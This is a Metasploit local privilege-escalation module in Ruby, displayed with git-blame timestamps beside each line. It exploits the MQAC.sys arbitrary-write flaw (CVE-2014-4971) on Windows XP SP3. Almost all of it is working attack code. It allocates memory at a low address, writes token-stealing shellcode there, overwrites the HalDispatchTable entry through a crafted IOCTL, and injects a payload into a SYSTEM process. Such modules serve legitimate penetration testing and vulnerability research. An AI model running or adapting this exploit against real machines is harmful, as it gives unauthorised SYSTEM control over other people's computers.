2014-07-22 14:04:12 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-07-22 14:04:12 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2014-08-04 19:15:39 +00:00
|
|
|
require 'msf/core/exploit/local/windows_kernel'
|
2014-07-22 14:04:12 +00:00
|
|
|
require 'rex'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
2014-07-22 14:04:12 +00:00
|
|
|
Rank = AverageRanking
|
|
|
|
|
2014-08-04 19:15:39 +00:00
|
|
|
include Msf::Exploit::Local::WindowsKernel
|
2014-07-22 14:04:12 +00:00
|
|
|
include Msf::Post::Windows::Priv
|
2014-07-22 17:06:57 +00:00
|
|
|
include Msf::Post::Windows::Process
|
2014-07-22 14:04:12 +00:00
|
|
|
|
2014-07-29 03:04:45 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-07-22 14:54:10 +00:00
|
|
|
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
|
2014-07-29 03:04:45 +00:00
|
|
|
'Description' => %q(
|
2014-07-22 14:54:10 +00:00
|
|
|
A vulnerability within the MQAC.sys module allows an attacker to
|
|
|
|
overwrite an arbitrary location in kernel memory.
|
2014-07-22 14:04:12 +00:00
|
|
|
|
|
|
|
This module will elevate itself to SYSTEM, then inject the payload
|
2014-07-22 14:54:10 +00:00
|
|
|
into another SYSTEM process.
|
2014-07-29 03:04:45 +00:00
|
|
|
),
|
2014-07-22 14:04:12 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Matt Bergin', # original exploit and all the hard work
|
|
|
|
'Spencer McIntyre' # MSF module
|
|
|
|
],
|
2014-07-29 03:04:45 +00:00
|
|
|
'Arch' => [ARCH_X86],
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'SessionTypes' => ['meterpreter'],
|
2014-07-22 14:04:12 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
2014-07-29 03:04:45 +00:00
|
|
|
'EXITFUNC' => 'thread'
|
2014-07-22 14:04:12 +00:00
|
|
|
},
|
2014-07-22 14:54:10 +00:00
|
|
|
'Targets' =>
|
2014-07-22 14:04:12 +00:00
|
|
|
[
|
2014-07-29 03:04:45 +00:00
|
|
|
['Windows XP SP3',
|
|
|
|
{
|
2014-08-04 19:15:39 +00:00
|
|
|
'HaliQuerySystemInfo' => 0x16bba,
|
2014-07-29 03:04:45 +00:00
|
|
|
'_KPROCESS' => "\x44",
|
|
|
|
'_TOKEN' => "\xc8",
|
|
|
|
'_UPID' => "\x84",
|
|
|
|
'_APLINKS' => "\x88"
|
|
|
|
}
|
|
|
|
]
|
2014-07-22 14:04:12 +00:00
|
|
|
],
|
2014-07-29 03:04:45 +00:00
|
|
|
'References' =>
|
2014-07-22 14:04:12 +00:00
|
|
|
[
|
2014-08-28 15:19:12 +00:00
|
|
|
['CVE', '2014-4971'],
|
|
|
|
['EDB', '34112'],
|
2014-07-29 03:04:45 +00:00
|
|
|
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
|
2014-07-22 14:04:12 +00:00
|
|
|
],
|
2014-07-29 03:04:45 +00:00
|
|
|
'DisclosureDate' => 'Jul 22 2014',
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
2014-07-22 14:04:12 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Function borrowed from smart_hashdump
|
|
|
|
def get_system_proc
|
|
|
|
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
|
2014-07-24 23:32:54 +00:00
|
|
|
local_sys = resolve_sid('S-1-5-18')
|
2014-07-22 14:04:12 +00:00
|
|
|
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
|
|
|
|
2014-07-22 18:45:00 +00:00
|
|
|
this_pid = session.sys.process.getpid
|
2014-07-22 14:04:12 +00:00
|
|
|
# Processes that can Blue Screen a host if migrated in to
|
2014-07-24 23:32:54 +00:00
|
|
|
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
|
2014-07-22 14:04:12 +00:00
|
|
|
session.sys.process.processes.each do |p|
|
|
|
|
# Check we are not migrating to a process that can BSOD the host
|
2014-07-24 23:32:54 +00:00
|
|
|
next if dangerous_processes.include?(p['name'])
|
|
|
|
next if p['pid'] == this_pid
|
|
|
|
next if p['pid'] == 4
|
|
|
|
next if p['user'] != system_account_name
|
2014-07-22 14:04:12 +00:00
|
|
|
return p
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-07-22 14:54:10 +00:00
|
|
|
def check
|
2014-08-04 19:15:39 +00:00
|
|
|
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
|
|
|
if handle.nil?
|
2014-07-24 23:32:54 +00:00
|
|
|
print_error('MSMQ installation not found')
|
2014-07-22 14:54:10 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
|
|
|
2014-07-24 23:32:54 +00:00
|
|
|
os = sysinfo['OS']
|
2014-07-22 14:54:10 +00:00
|
|
|
case os
|
|
|
|
when /windows xp.*service pack 3/i
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
when /windows xp/i
|
2015-09-02 04:26:45 +00:00
|
|
|
vprint_error('Unsupported version of Windows XP detected')
|
2014-07-22 14:54:10 +00:00
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-07-22 14:04:12 +00:00
|
|
|
def exploit
|
2016-10-28 22:11:20 +00:00
|
|
|
if sysinfo['Architecture'] == ARCH_X64
|
|
|
|
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
2014-07-22 14:04:12 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if is_system?
|
2014-07-24 23:32:54 +00:00
|
|
|
print_error('This meterpreter session is already running as SYSTEM')
|
2014-07-22 14:04:12 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-07-29 03:04:45 +00:00
|
|
|
# Running on Windows XP versions that aren't listed in the supported list
|
|
|
|
# results in a BSOD and so we should not let that happen.
|
2016-07-05 09:42:03 +00:00
|
|
|
if check == Exploit::CheckCode::Safe
|
|
|
|
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
|
|
|
|
end
|
2014-07-24 04:44:26 +00:00
|
|
|
|
2014-07-22 14:04:12 +00:00
|
|
|
base_addr = 0xffff
|
2014-08-04 19:15:39 +00:00
|
|
|
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
|
|
|
return if handle.nil?
|
2014-07-22 14:04:12 +00:00
|
|
|
|
2014-07-22 18:45:00 +00:00
|
|
|
this_proc = session.sys.process.open
|
|
|
|
unless this_proc.memory.writable?(base_addr)
|
2014-08-15 20:11:37 +00:00
|
|
|
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil,
|
|
|
|
[0xffff].pack('V'),
|
2014-07-29 03:04:45 +00:00
|
|
|
'MEM_COMMIT|MEM_RESERVE',
|
|
|
|
'PAGE_EXECUTE_READWRITE')
|
2014-07-22 14:04:12 +00:00
|
|
|
end
|
2014-07-22 18:45:00 +00:00
|
|
|
unless this_proc.memory.writable?(base_addr)
|
2014-07-22 14:04:12 +00:00
|
|
|
print_error('Failed to properly allocate memory')
|
2014-07-22 18:45:00 +00:00
|
|
|
this_proc.close
|
2014-07-22 14:04:12 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-08-04 19:15:39 +00:00
|
|
|
haldispatchtable = find_haldispatchtable
|
|
|
|
return if haldispatchtable.nil?
|
|
|
|
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")
|
|
|
|
|
|
|
|
vprint_status('Getting the hal.dll base address...')
|
|
|
|
hal_info = find_sys_base('hal.dll')
|
|
|
|
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
|
|
|
|
hal_base = hal_info[0]
|
|
|
|
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
|
|
|
|
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
|
|
|
|
|
|
|
|
restore_ptrs = "\x31\xc0" # xor eax, eax
|
|
|
|
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
|
|
|
|
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
|
|
|
|
|
|
|
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
|
2014-08-28 15:19:12 +00:00
|
|
|
|
2014-07-22 14:04:12 +00:00
|
|
|
this_proc.memory.write(0x1, shellcode)
|
2014-07-22 18:45:00 +00:00
|
|
|
this_proc.close
|
2014-07-22 14:04:12 +00:00
|
|
|
|
2014-07-24 23:32:54 +00:00
|
|
|
print_status('Triggering vulnerable IOCTL')
|
2014-07-29 03:04:45 +00:00
|
|
|
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
|
|
|
|
1, 0x258,
|
2014-08-04 19:15:39 +00:00
|
|
|
haldispatchtable + 4, 0)
|
2014-07-29 03:04:45 +00:00
|
|
|
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
2014-07-22 14:04:12 +00:00
|
|
|
|
2014-07-22 18:45:00 +00:00
|
|
|
unless is_system?
|
2014-08-18 18:35:34 +00:00
|
|
|
print_error('Did not get system, exploit failed')
|
2014-07-22 14:04:12 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-07-22 17:06:57 +00:00
|
|
|
proc = get_system_proc
|
|
|
|
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
|
|
|
|
unless execute_shellcode(payload.encoded, nil, proc['pid'])
|
2014-07-24 23:32:54 +00:00
|
|
|
fail_with(Failure::Unknown, 'Error while executing the payload')
|
2014-07-22 14:04:12 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|